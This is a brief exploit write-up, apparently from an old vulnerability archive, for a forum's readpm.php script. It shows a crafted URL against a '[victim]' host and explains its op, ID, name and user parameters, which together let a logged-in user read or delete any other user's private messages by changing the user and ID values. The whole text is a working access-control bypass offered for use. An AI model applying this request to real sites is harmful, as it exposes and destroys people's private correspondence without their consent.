First we must be logged for have access to private messages
and go to this url:

http://[victim]/readpm.php?op=read&ID=2&name=pruebas&user=waltrapass

and we look the message 2 from waltrapass user :)

op= read or del
id= id from message what we like to look
name= username of user was send the private message
( this is not necessary to view or delete a message)
user= username from user what we try to look their PM
